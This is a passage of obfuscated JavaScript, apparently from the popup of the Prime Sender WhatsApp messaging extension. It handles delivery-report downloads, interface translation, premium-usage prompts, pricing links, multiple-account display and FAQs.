  }),
    c["SAKkN"]($, c["abOcS"])["click"](function () {
      c["gYQTA"]($, c["teDQb"])["addClass"](c["uAVSs"]);
    }),
    $(c["SvLPd"])["click"](function () {
      const Y = c["pKdEw"]["split"]("|");
      let v = 0x0;
      while (!![]) {
        switch (Y[v++]) {
          case "0":
            c["PexhX"](toggleUploadExcelText, !![]);
            continue;
          case "1":
            $(c["UXTnb"])["addClass"](c["uAVSs"]);
            continue;
          case "2":
            c["hjwyX"](hideCustomizationContainer);
            continue;
          case "3":
            c["xjYso"](unset_csv_styles);
            continue;
          case "4":
            c["lhRaj"](replaceNumbers, "");
            continue;
        }
        break;
      }
    }),
    c["ciKsx"]($, c["ZzTIR"])["click"](function () {
      $(c["UXTnb"])["addClass"](c["uAVSs"]),
        unset_csv_styles(),
        hideCustomizationContainer(),
        replaceNumbers(""),
        c["rAVcj"](toggleUploadExcelText, !![]);
    });
  function j() {
    const Y = {
      sNeYy: function (v, l) {
        return c["EeCJn"](v, l);
      },
      EEgLS: function (v, l) {
        return v(l);
      },
      Ceayi: function (v, l, Z) {
        return c["ZijHw"](v, l, Z);
      },
      XzLAN: c["ARnQD"],
      hgFTy: c["RKPLH"],
      YuYmz: c["NAQvt"],
      qgfMS: function (v, l) {
        return c["vebXT"](v, l);
      },
    };
    c["ECKOV"]($, "#reports-container")["html"](""),
      chrome["storage"]["local"]["get"]([c["ChJYr"]], async (v) => {
        let l = v["deliveryReports"] || [];
        if (l["length"] > 0x0)
          for (let Z = c["cjFEZ"](l["length"], 0x1); c["TQucy"](Z, 0x0); Z--) {
            let B = c["qyNgc"](getReportDateFormat, l[Z]["date"]),
              Q = l[Z]["name"] || c["XgcSN"](c["ARnQD"], c["ityVS"](Z, 0x1));
            c["rAVcj"]($, c["HSUiy"])["append"](
              "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22dropdown-item\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<p\x20id=\x22" +
                Z +
                "\x22\x20class=\x22report-name\x20text\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<img\x20src=\x22./logo/excel_icon.png\x22/>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span\x20style=\x22color:\x20#009A88;\x22>" +
                Q +
                "</span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span\x20style=\x22color:\x20#5D6063;\x22>" +
                B +
                "</span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<img\x20id=\x22" +
                Z +
                "\x22\x20class=\x22report-download\x20btn\x20CtaBtn\x22\x20src=\x22./logo/download_icon.png\x22\x20/>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>"
            );
          }
        else
          $(c["HSUiy"])["append"](
            "<div\x20class=\x22dropdown-item\x22>" +
              (await c["ubdsw"](translate, c["sFqpt"])) +
              "</div>"
          );
        c["TSjze"]($, c["YpLfX"])["click"](function () {
          let d = Y["sNeYy"]($, this)["prop"]("id"),
            m = Y["EEgLS"](encodeURI, l[d]["data"]),
            D = Y["Ceayi"](getReportDateFormat, l[d]["date"], !![]),
            R = l[d]["name"] || Y["XzLAN"] + (+d + 0x1),
            S = R + "\x20" + D + ".csv",
            q = document["createElement"]("a");
          q["setAttribute"](Y["hgFTy"], m),
            q["setAttribute"](Y["YuYmz"], S),
            document["body"]["appendChild"](q),
            q["click"](),
            Y["qgfMS"](trackButtonClick, "download_delivery_report");
        });
      });
  }
  c["VPRys"]($, c["IwKNJ"])["click"](function (Y) {
    c["jZjpY"](j),
      c["wPOaG"](trackButtonClick, "select_delivery_report"),
      $("#reports-container")["toggleClass"](c["uAVSs"]),
      $("#report-selector")["toggleClass"]("active");
  }),
    c["sOmpN"]($, ".search_group_input")["click"](function (Y) {
      const v = c["QJTcL"]["split"]("|");
      let l = 0x0;
      while (!![]) {
        switch (v[l++]) {
          case "0":
            $(".message-box")["addClass"](c["zapKu"]);
            continue;
          case "1":
            if (c["qvPVf"](messageToggleSwitchValue, c["mweUE"])) {
              if (c["syYtR"](groups_selected["length"], allGroups["length"]))
                return;
            }
            continue;
          case "2":
            c["EXKix"]($, c["JqfPv"])["prop"](c["FspBD"], ![]);
            continue;
          case "3":
            c["zNLPq"](
              showItems,
              c["oSfdp"](messageToggleSwitchValue, c["mweUE"])
            );
            continue;
          case "4":
            c["VhYiV"]($, "#groups_container")["removeClass"](c["uAVSs"]);
            continue;
          case "5":
            messageToggleSwitchValue === "groups"
              ? c["cusAa"]($, c["BqFAT"])["scrollTop"](lastScrollPosition)
              : c["HCXsQ"]($, c["BqFAT"])["scrollTop"](
                  lastScrollPosition_contacts
                );
            continue;
          case "6":
            document["querySelector"](c["ufufF"])["value"] = "";
            continue;
          case "7":
            if (c["yassD"](messageToggleSwitchValue, c["qQNQH"])) {
              if (
                c["oSfdp"](contacts_selected["length"], allContacts["length"])
              )
                return;
            }
            continue;
          case "8":
            document["querySelector"](c["biwkb"])["classList"]["add"](
              c["uAVSs"]
            );
            continue;
          case "9":
            if (allGroups["length"] === 0x0) return;
            continue;
        }
        break;
      }
    }),
    document["addEventListener"]("click", function (Y) {
      const v = document["querySelectorAll"](c["WoxKo"]),
        l = document["querySelectorAll"](".dropdown-box"),
        Z = document["querySelectorAll"](c["liraz"]),
        B = document["querySelectorAll"](c["bXkfw"]);
      for (let Q = 0x0; Q < l["length"]; Q++) {
        if (
          !l[Q]["contains"](Y["target"]) &&
          !v[Q]["contains"](Y["target"]) &&
          !B[0x0]["contains"](Y["target"]) &&
          !Y["target"]["classList"]["contains"]("dropdown-item") &&
          !Y["target"]["classList"]["contains"]("dropdown-container")
        ) {
          const d = "4|5|2|1|0|3"["split"]("|");
          let m = 0x0;
          while (!![]) {
            switch (d[m++]) {
              case "0":
                document["querySelector"](c["biwkb"])["classList"]["add"](
                  c["uAVSs"]
                );
                continue;
              case "1":
                document["querySelector"](".search_group_input")["value"] = "";
                continue;
              case "2":
                c["TSjze"]($, c["EMWYh"])["removeClass"](c["zapKu"]);
                continue;
              case "3":
                $(c["JqfPv"])["prop"](c["FspBD"], ![]);
                continue;
              case "4":
                v[Q]["classList"]["add"](c["uAVSs"]);
                continue;
              case "5":
                Z[Q]["classList"]["remove"](c["vUrRm"]);
                continue;
            }
            break;
          }
        }
      }
    }),
    c["RCmoT"](x),
    c["cGgMi"](J);
  function x() {
    let Y = document["querySelectorAll"](c["hKsrW"]),
      v = Object["values"](Y)["map"]((d) => d["innerText"]),
      l = document["querySelectorAll"](c["tYyeE"]),
      Z = Object["values"](l)["map"]((d) => d["placeholder"]);
    const B = {};
    (B["texts"] = v), (B["placeholders"] = Z);
    const Q = {};
    (Q["defaultLanguageData"] = B), chrome["storage"]["local"]["set"](Q);
  }
  function J() {
    const Y = {
        ziODa: function (Q, d) {
          return c["syYtR"](Q, d);
        },
        kZLVy: function (Q, d, m, D) {
          return c["pFEBO"](Q, d, m, D);
        },
      },
      v = {};
    v["type"] = c["Agntg"];
    let l = new Intl["DisplayNames"](["en"], v),
      Z = navigator["languages"]["map"]((Q) => Q["split"]("-")[0x0]);
    Z = Z["filter"]((Q, d, m) => m["indexOf"](Q) === d);
    let B = document["getElementById"](c["RbYcK"]);
    (B["innerHTML"] = ""),
      B["appendChild"](c["ZijHw"](createOption, c["SPiDt"], "default")),
      chrome["storage"]["local"]["get"]([c["lDVNC"]], (Q) => {
        const d = {
          ZDgeU: function (m, D) {
            return c["wtcgC"](m, D);
          },
        };
        (currentLanguage = Q["currentLanguage"] || c["XPAmF"]),
          c["dZiar"](M, currentLanguage),
          Z["forEach"]((m) => {
            if (Y["ziODa"](m, "en")) return;
            B["appendChild"](
              Y["kZLVy"](
                createOption,
                l["of"](m),
                m,
                Y["ziODa"](m, currentLanguage)
              )
            );
          }),
          B["appendChild"](c["AbGZy"](createOption, c["wKTlk"], "", ![], !![])),
          allLanguageCodes["forEach"]((m) => {
            if (d["ZDgeU"](m, "en") || Z["includes"](m)) return;
            B["appendChild"](
              createOption(l["of"](m), m, d["ZDgeU"](m, currentLanguage))
            );
          });
      });
  }
  $(c["cGRsc"])["change"](function () {
    const Y = c["ShTjP"]["split"]("|");
    let v = 0x0;
    while (!![]) {
      switch (Y[v++]) {
        case "0":
          c["cmnlW"](sendMessageToBackground, {
            type: c["eqZWC"],
            language: currentLanguage,
          });
          continue;
        case "1":
          c["zbIGH"](M, currentLanguage);
          continue;
        case "2":
          currentLanguage = $(this)["val"]();
          continue;
        case "3":
          c["uMyDw"](trackEvent, c["eqZWC"], currentLanguage);
          continue;
        case "4":
          const l = {};
          (l["currentLanguage"] = currentLanguage),
            chrome["storage"]["local"]["set"](l);
          continue;
      }
      break;
    }
  });
  async function M(Y) {
    const v = {
      LjpKu: function (B, Q) {
        return B(Q);
      },
    };
    let l = document["querySelectorAll"](c["hKsrW"]),
      Z = document["querySelectorAll"]("[data-translate-placeholder]");
    chrome["storage"]["local"]["get"](
      ["defaultLanguageData", c["fxYYf"]],
      async (B) => {
        let Q = B["defaultLanguageData"]["texts"],
          d = B["defaultLanguageData"]["placeholders"],
          m = B["translatedCache"] || {};
        const D = Q["map"](async (r) => {
            if (m[r] && m[r][Y]) return m[r][Y];
            const y = await v["LjpKu"](translateAPI, r);
            if (!m[r]) m[r] = {};
            return (m[r][Y] = y), y;
          }),
          R = d["map"](async (r) => {
            if (m[r] && m[r][Y]) return m[r][Y];
            const y = await translateAPI(r);
            if (!m[r]) m[r] = {};
            return (m[r][Y] = y), y;
          }),
          S = await Promise["all"](D),
          q = await Promise["all"](R);
        l["forEach"]((r, y) => (r["innerText"] = S[y])),
          Z["forEach"]((r, y) => (r["placeholder"] = q[y]));
        const k = {};
        (k["translatedCache"] = m), chrome["storage"]["local"]["set"](k);
      }
    );
  }
});
async function translate(c, p = "en", g = currentLanguage) {
  const T = {
    Atjqa: function (f, b) {
      return f(b);
    },
    jzcGf: function (f, b) {
      return f(b);
    },
    cyFNC: function (f, b, O, i) {
      return f(b, O, i);
    },
    OJVud: "translatedCache",
    crlsp: function (f, b) {
      return f === b;
    },
  };
  if (c === undefined || T["crlsp"](c, null) || c["trim"]()["length"] === 0x0)
    return "";
  return new Promise((f) => {
    chrome["storage"]["local"]["get"]([T["OJVud"]], async function (b) {
      const O = {
          RKyKj: function (e, s) {
            return T["Atjqa"](e, s);
          },
        },
        i = b["translatedCache"] || {};
      if (i[c] && i[c][g]) T["jzcGf"](f, i[c][g]);
      else {
        const e = await T["cyFNC"](translateAPI, c, p, g);
        if (!i[c]) i[c] = {};
        i[c][g] = e;
        const s = {};
        (s["translatedCache"] = i),
          chrome["storage"]["local"]["set"](s, function () {
            O["RKyKj"](f, e);
          });
      }
    });
  });
}
async function translateAPI(c, p = "en", g = currentLanguage) {
  const T = {
    vypON: function (O, i) {
      return O(i);
    },
    XJSbC: "Translation\x20Error:",
    ylkwU: function (O, i) {
      return O(i);
    },
    zTYTu: function (O, i) {
      return O(i);
    },
    YvZmI: function (O, i) {
      return O === i;
    },
    fjZeK: "default",
    whtwF: function (O, i) {
      return O(i);
    },
  };
  let f = (O) =>
    O["replaceAll"](
      /<<(.*?)>>/gi,
      "<span\x20class=\x22styled_text\x22>$1</span>"
    );
  if (c === undefined || T["YvZmI"](c, null) || c["trim"]()["length"] === 0x0)
    return "";
  if (g === T["fjZeK"] || T["YvZmI"](g, p)) return T["whtwF"](f, c);
  const b =
    "https://translate.googleapis.com/translate_a/single?client=gtx&sl=" +
    p +
    "&tl=" +
    g +
    "&dt=t&q=" +
    T["zTYTu"](encodeURI, c);
  return await new Promise((O) => {
    try {
      $["getJSON"](b, function (i) {
        let e = i[0x0]["map"]((s) => s[0x0])["join"]("\x20");
        T["vypON"](O, T["vypON"](f, e));
      });
    } catch (i) {
      console["log"](T["XJSbC"], i), T["ylkwU"](O, T["zTYTu"](f, c));
    }
  });
}
function createOption(p, g, T = ![], f = ![]) {
  const b = {};
  b["bIvcD"] = "option";
  const O = b;
  let i = document["createElement"](O["bIvcD"]);
  return (
    (i["text"] = p),
    (i["value"] = g),
    (i["selected"] = T),
    (i["disabled"] = f),
    i
  );
}
function getFet(p) {
  const g = {};
  (g["pKHcI"] = "groupContactExport"),
    (g["RhXiV"] = "Export\x20Group\x20Contacts"),
    (g["ESBEL"] = function (b, O) {
      return b == O;
    }),
    (g["xsUNb"] = "Customization"),
    (g["ujJXV"] = "Batching"),
    (g["WCyiL"] = "timeGap"),
    (g["oODuh"] = "Time\x20Gap"),
    (g["PcgNF"] = "stop"),
    (g["hTFHG"] = "quickReplies"),
    (g["jdrRq"] = "Quick\x20Replies"),
    (g["oGjLp"] = function (b, O) {
      return b == O;
    }),
    (g["xdBzY"] = "Schedule"),
    (g["aBlWs"] = "multipleAttachment"),
    (g["WXakp"] = "Multiple\x20Attachment"),
    (g["Jlayn"] = "attachment"),
    (g["YmWik"] = "Attachment"),
    (g["cUlyd"] = "caption");
  const T = g;
  let f;
  if (p == T["pKHcI"]) f = T["RhXiV"];
  if (T["ESBEL"](p, "customisation")) f = T["xsUNb"];
  if (T["ESBEL"](p, "batching")) f = T["ujJXV"];
  if (T["ESBEL"](p, T["WCyiL"])) f = T["oODuh"];
  if (T["ESBEL"](p, T["PcgNF"])) f = "Stop";
  if (T["ESBEL"](p, T["hTFHG"])) f = T["jdrRq"];
  if (T["oGjLp"](p, "schedule")) f = T["xdBzY"];
  if (T["ESBEL"](p, T["aBlWs"])) f = T["WXakp"];
  if (p == T["Jlayn"]) f = T["YmWik"];
  if (p == T["cUlyd"]) f = "Caption";
  return f;
}
function changeInputPercentage() {
  const c = {
    QYAXM: function (p, g) {
      return p(g);
    },
    PzArg: "help",
    oxrQV: function (p, g) {
      return p == g;
    },
    yqJzX: function (p, g) {
      return p != g;
    },
    egBan: "lastDate",
    wFmDe: "lastMonth",
    QLUSS: function (p, g) {
      return p == g;
    },
    Uewjb: function (p, g) {
      return p == g;
    },
    yLIYy: function (p) {
      return p();
    },
    wNViC: function (p, g) {
      return p * g;
    },
    cQhqd: function (p, g) {
      return p / g;
    },
    yaJwo: function (p) {
      return p();
    },
    bpbjo: "premium-utlisation-precentage",
    SYVIo: function (p, g) {
      return p - g;
    },
    kYPKY: "pie",
    iwKHY: "https://prime-sender.com/pricing",
    LFijD: function (p, g) {
      return p == g;
    },
    alnGs: function (p, g) {
      return p == g;
    },
    MuIFl: function (p, g) {
      return p(g);
    },
    HezsP: function (p, g) {
      return p + g;
    },
    coPIj: "Your\x20premium\x20utilisation\x20is\x20at\x20",
    MBZBd: function (p, g) {
      return p(g);
    },
    dTlIo: "Click\x20Here",
    vjHhF: function (p, g) {
      return p(g);
    },
    TqMKZ: "Discount\x20now\x20available",
    auOlk:
      "You\x20are\x20not\x20using\x20all\x20the\x20features\x20you\x20have\x20paid\x20for!\x20You\x20have\x20used\x20",
    OVPVk:
      "%\x20of\x20the\x20paid\x20features\x20in\x20the\x20last\x20week.\x20Please\x20use\x20features\x20like\x20",
    sRVSC:
      "to\x20utilise\x20premium\x20to\x20the\x20fullest.\x20Click\x20on\x20",
    YGATn: "Live\x20Support",
    xBcAZ: "\x20to\x20understand\x20these\x20features\x20in\x20detail",
    CpZQe: function (p, g) {
      return p(g);
    },
    lRVKs: "#premium_help",
    FDPRG: "premiumUsageObject",
  };
  chrome["storage"]["local"]["get"]([c["FDPRG"]], async function (p) {
    let g = p["premiumUsageObject"],
      T = 0x0,
      f,
      b = null,
      O = null,
      i = null;
    for (const J in g) {
      if (c["oxrQV"](g[J], !![])) T++;
      else {
        if (c["yqJzX"](J, c["egBan"]) && c["yqJzX"](J, c["wFmDe"])) {
          let M = c["QYAXM"](getFet, J);
          if (c["QLUSS"](b, null)) b = M;
          else {
            if (O == null) O = M;
            else {
              if (c["Uewjb"](i, null)) i = M;
            }
          }
        }
      }
    }
    let e;
    if (c["yLIYy"](isAdvance)) e = 0xa;
    else isBasic() ? (e = 0x8) : ((T = 0x0), (e = 0xa));
    let s = c["wNViC"](c["cQhqd"](T, e), 0x64);
    !c["yaJwo"](isPremium) && (s = 0x0);
    document["getElementsByClassName"](c["bpbjo"])[0x0]["innerText"] = s + "%";
    let o = c["SYVIo"](0x64, s);
    const L = document["getElementById"](c["kYPKY"]);
    L["style"]["backgroundImage"] =
      "conic-gradient(#000\x20" + o["toString"]() + "%,\x20#009188\x200%)";
    let { name: F, name_code: w, currency: j } = location_info;
    if (Object["keys"](COUNTRY_WITH_SPECIFIC_PRICING)["includes"](w))
      F = COUNTRY_WITH_SPECIFIC_PRICING[w];
    else F = "international";
    let x = c["iwKHY"];
    if (last_plan_type == "Basic")
      pricing_link =
        "https://prime-sender.com/pricing/?country=" +
        F +
        "&lastPlan=lastPlan&currentPlan=basic";
    else
      c["LFijD"](last_plan_type, "Advance") &&
        (pricing_link =
          "https://prime-sender.com/pricing/?country=" +
          F +
          "&lastPlan=lastPlan&currentPlan=advance");
    if (c["alnGs"](s, 0x64))
      f =
        "<p>" +
        (await c["MuIFl"](
          translate,
          "Congrats!\x20Your\x20premium\x20features\x20utilisation\x20is\x20at\x20100%"
        )) +
        "</p>";
    else
      !c["yaJwo"](isPremium)
        ? (f =
            "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span>" +
            (await translate(
              c["HezsP"](
                c["coPIj"] + s,
                "%.\x20Please\x20purchase\x20premium\x20to\x20utilise\x20all\x20the\x20features."
              )
            )) +
            "</span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span>" +
            (await c["MBZBd"](translate, "To\x20checkout\x20pricing")) +
            "\x20</span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<a\x20class=\x22CtaBtn\x22\x20href=\x22" +
            x +
            "\x22\x20target=\x22_blank\x22\x20style=\x22color:\x20#009A88;\x20font-weight:\x20800;\x22>" +
            (await c["QYAXM"](translate, c["dTlIo"])) +
            "</a>\x20\x20-\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span\x20style=\x22color:\x20#2758D4\x22>" +
            (await c["vjHhF"](translate, c["TqMKZ"])) +
            "</span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</p>")
        : (f =
            "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span\x20style=\x22color:\x20#FFA500\x22>Alert:\x20</span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span>" +
            (await translate(
              c["HezsP"](c["HezsP"](c["auOlk"], s), c["OVPVk"])
            )) +
            "</span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span\x20style=\x22color:\x20#009A88;\x20font-weight:\x20800;\x22>" +
            (b != null ? "\x27" + b + "\x27" : "") +
            "</span>\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span\x20style=\x22color:\x20#009A88;\x20font-weight:\x20800;\x22>" +
            (c["yqJzX"](O, null) ? ",\x20\x27" + O + "\x27" : "") +
            "</span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span\x20style=\x22color:\x20#009A88;\x20font-weight:\x20800;\x22>" +
            (c["yqJzX"](i, null) ? "\x20and\x20\x27" + i + "\x27" : "") +
            "\x20</span>\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span>" +
            (await translate(c["sRVSC"])) +
            "</span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span\x20class=\x22CtaBtn\x22\x20id=\x22premium_help\x22\x20style=\x22text-decoration:\x20underline;\x20cursor:\x20pointer;\x22>" +
            (await c["vjHhF"](translate, c["YGATn"])) +
            "</span>\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span>" +
            (await c["QYAXM"](translate, c["xBcAZ"])) +
            "</span>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</p>");
    (document["getElementById"]("premium_utilisation_text")["innerHTML"] = f),
      c["CpZQe"]($, c["lRVKs"])["click"](function () {
        c["QYAXM"](sendMessageToBackground, { type: c["PzArg"] }),
          trackButtonClick(c["PzArg"]),
          window["close"]();
      });
  });
}
async function getMultipleAccountsData() {
  const c = {
    rCcwv: function (p) {
      return p();
    },
    mYdEc: "api",
    SuPGl: "POST",
    QLfqD: "Error\x20while\x20fetching\x20multiple\x20accounts\x20data",
    WbYjo: "multipleAccountsData",
  };
  chrome["storage"]["local"]["get"]([c["WbYjo"]], async function (g) {
    if (
      !g ||
      !g?.["isFetchedToday"] ||
      subscribed_date == c["rCcwv"](getTodayDate)
    )
      try {
        const T = {};
        T["Content-Type"] = "application/json";
        const f = {};
        f["email"] = parentEmail;
        const b = await fetch(c["mYdEc"], {
          method: c["SuPGl"],
          headers: T,
          body: JSON["stringify"](f),
        });
      } catch (O) {
        console["log"](c["QLfqD"], O);
      }
    else {
    }
  });
}
function showMultipleAccountSection() {
  const c = {
    PVYHT: function (b) {
      return b();
    },
    oWIeE: ".show_all_mult_numbers",
    sLTwz: "click",
    ABcZO: ".mult_account_block",
    pIKyq: "</div>",
    BDviQ: function (b, O) {
      return b < O;
    },
    ihBox: ".mult_show_more_section",
  };
  c["PVYHT"](getMultipleAccountsData);
  if (!isMultipleAccount) return;
  const p = document["querySelector"](c["ABcZO"]);
  p["classList"]["remove"]("hide");
  let g = "",
    T = "",
    f =
      "<div\x20style=\x22color:#fff;display:flex;justify-content:flex-start;align-items:center;gap:5px;flex-wrap:wrap;\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<p\x20style=\x22margin:0px\x20!important;\x22>Other\x20numbers\x20in\x20the\x20plan\x20:</p>";
  g = f;
  for (let b = 0x0; b < 0x5; b++)
    g +=
      "<span\x20class=\x22mult_num_tag\x22\x20style=\x22background:#009a88\x20!important\x22>" +
      otherNumbers[b] +
      "</span>";
  (g +=
    "<span\x20class=\x22mult_show_more_section\x22>...\x20<span\x20class=\x22show_all_mult_numbers\x22\x20style=\x22cursor:pointer;text-decoration:underline;\x22>show\x20more</span></span></div>"),
    (g += c["pIKyq"]),
    (T = f);
  for (let O = 0x5; c["BDviQ"](O, otherNumbers["length"]); O++)
    T +=
      "<span\x20class=\x22mult_num_tag\x22\x20style=\x22background:#009a88\x20!important\x22>" +
      otherNumbers[O] +
      "</span>";
  (T +=
    "<span\x20class=\x22mult_show_more_section\x22><span\x20class=\x22show_all_mult_numbers\x22\x20style=\x22cursor:pointer;text-decoration:underline;\x22>show\x20less</span></span></div>"),
    (T += c["pIKyq"]),
    (p["innerHTML"] = g),
    document["querySelector"](c["ihBox"])["addEventListener"](
      c["sLTwz"],
      function () {
        const e = {
          pGmkT: function (s) {
            return c["PVYHT"](s);
          },
        };
        showAllMultNumbers = !showAllMultNumbers;
        if (showAllMultNumbers) p["innerHTML"] = g;
        else p["innerHTML"] = T;
        document["querySelector"](c["oWIeE"])["addEventListener"](
          c["sLTwz"],
          function () {
            (showAllMultNumbers = !showAllMultNumbers),
              e["pGmkT"](showMultipleAccountSection);
          }
        );
      }
    );
}
function showFaqsSection() {
  const p = {};
  (p["HPRPv"] = function (O, i) {
    return O == i;
  }),
    (p["Xkind"] = "block"),
    (p["SZzVn"] = "none"),
    (p["KaFEW"] = "click"),
    (p["pBMmM"] = ".faq_question_block");
  const g = p,
    T = document["querySelector"](".premium_feature_faq");
  if (!T) return;
  let f = "";
  FAQS["forEach"]((O, i) => {
    f +=
      "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22premium_feature_block\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22faq_question_block\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<p\x20class=\x22faq_question\x22>" +
      (i + 0x1) +
      ")\x20" +
      O["question"] +
      "</p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<img\x20src=\x22logo/dropdown_icon.png\x22\x20/>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<p\x20class=\x22faq_answer\x22>" +
      O["answer"] +
      "</p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20";
  }),
    (T["innerHTML"] = f);
  const b = document["querySelectorAll"](g["pBMmM"]);
  b["length"] > 0x0 &&
    b["forEach"]((O, i) => {
      O["addEventListener"](g["KaFEW"], function () {
        const e = O["nextElementSibling"];
        g["HPRPv"](e["style"]["display"], g["Xkind"])
          ? ((e["style"]["display"] = g["SZzVn"]),
            (O["children"][0x1]["style"]["transform"] = "rotate(0deg)"))
          : ((e["style"]["display"] = g["Xkind"]),
            (O["children"][0x1]["style"]["transform"] = "rotate(180deg)"));
      });
    });
}
async function showBuyPremiumButtons() {
  const c = {
    wiaNL: "FreeTrial",
    XoEvU: "free_trial_expired",
    Xgkxl: "premium_expired",
    WsFPm: "#buy_premium_block",
    hBTan: function (M, Y) {
      return M == Y;
    },
    YSSCp: "Advance",
    Jnwyv: "Multiple\x20Users",
    ypPAV: "Premium",
    OnNkF: "Basic",
    uczUa: function (M, Y) {
      return M == Y;
    },
    etBxb: function (M, Y) {
      return M(Y);
    },
    jIafH: function (M, Y, v, l) {
      return M(Y, v, l);
    },
    YpvMp: function (M, Y) {
      return M + Y;
    },
    lEIYL: "advance",
    EyQRs: function (M) {
      return M();
    },
  };
  let p;
  if (last_plan_type == c["wiaNL"] || plan_type == c["wiaNL"])
    p = PRICING_DATA[c["XoEvU"]];
  else p = PRICING_DATA[c["Xgkxl"]];
  if (!p) return "";
  let g = document["querySelector"](c["WsFPm"]),
    T =
      "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22premium_features_divider\x22>\x0a<p\x20style=\x22z-index:\x201000;\x20color:\x20#fff;\x20margin:\x200px;\x20margin-left:\x2016px;\x22>Buy\x20" +
      (c["hBTan"](plan_type, "Basic") || plan_type == c["YSSCp"]
        ? c["Jnwyv"]
        : c["ypPAV"]) +
      "\x20:</p>\x0a\x20\x20\x20\x20\x20\x20\x20\x20</div>",
    f = !![],
    b = ![];
  c["hBTan"](last_plan_type, c["YSSCp"]) && ((f = ![]), (b = !![]));
  (c["hBTan"](plan_type, c["OnNkF"]) || c["uczUa"](plan_type, "Advance")) &&
    ((f = ![]), (b = ![]));
  let { name: O, name_code: i, currency: e } = location_info;
  Object["keys"](COUNTRY_WITH_SPECIFIC_PRICING)["includes"](i)
    ? (O = COUNTRY_WITH_SPECIFIC_PRICING[i])
    : (O = "international");
  let s =
      "https://prime-sender.com/pricing/?country=" +
      O +
      "&lastPlan=" +
      p["lastPlan"] +
      "&currentPlan=",
    o = p["advance_price"][O],
    L = p["basic_price"][O],
    F = await c["etBxb"](convertPriceToLocale, o["substring"](0x1)),
    w = await c["etBxb"](convertPriceToLocale, L["substring"](0x1)),
    j = await c["jIafH"](basicButton, c["YpvMp"](s, "basic"), L, w),
    x = await c["jIafH"](advanceButton, c["YpvMp"](s, c["lEIYL"]), o, F),
    J = await c["EyQRs"](multipleAccountButton);
  if (f) T += j;
  if (b) T += x;
  (T += J), (g["innerHTML"] = T);
}
async function getInvoiceData() {
  const c = {
    GPZul: "flex",
    tEKZn: "none",
    pjehi: function (p, g, T) {
      return p(g, T);
    },
    xsOWU: "download_invoice_button",
    WtmcT: function (p, g) {
      return p == g;
    },
    fffdn: "invoice_input",
    ZwYRh: function (p, g) {
      return p > g;
    },
    yZdpc: "change",
    Iacmd: "invoice_button_loader",
    waIps: "invoice_button_text",
    tcEji: "click",
  };
  chrome["storage"]["local"]["get"](["invoiceObject"], function (p) {
    const g = {};
    (g["bzdsI"] = c["xsOWU"]),
      (g["NbxVR"] = "invoice_button_loader"),
